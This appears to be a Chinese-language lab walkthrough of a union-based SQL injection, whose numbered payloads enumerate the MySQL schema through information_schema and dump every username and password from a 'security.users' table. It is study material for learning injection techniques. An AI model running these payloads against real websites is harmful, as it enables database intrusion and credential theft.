1.id=1asdas
页面返回正常,说明不是数字型
2. ?id=1' and 1=1 --+
正常
3. ?id=1' and 1=2--+
报错,确定存在字符型注入
4. 猜解列数?id=1' order by 4--+
1-3正常,4报错,存在列数3
5. 获取数据库用户信息
?id=-1' union select 1,user(),3 --+
因为当前用户是root,存在实现跨库攻击的可能性
6. (可选)root权限下获取所有数据库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
7. 猜解数据库名
?id=-1' union select 1,database(),3 --+
数据库名:security
8. 获取数据库版本信息
?id=-1' union select 1,version(),3 --+
数据库版本是5以上,存在information_schema(),用于查询数据库所拥有的表
9. 确认数据库操作系统类型
?id=-1' union select 1,@@version_compile_os,3 --+
windows系统不区分大小写,注入时不用注意大小写问题
10. 确认目标数据库中的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
由名字可知,我们需要的信息在users表中
11. 获取users表中的列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
user_id, first_name, last_name, user, password,
avatar,last_login,failed_login,USER,
CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,
id,username,password,level, id, username,password
无法确认这几个users表中的各个表的归属,且此处id列有重复,也无法确定哪个id列是security数据库的users数据表中的id列
12. 再确认(增加查询条件)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema = 'security'--+
security数据库中的users表中的属性有id、username、password
13. 获取全部username、password
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+
14. 验证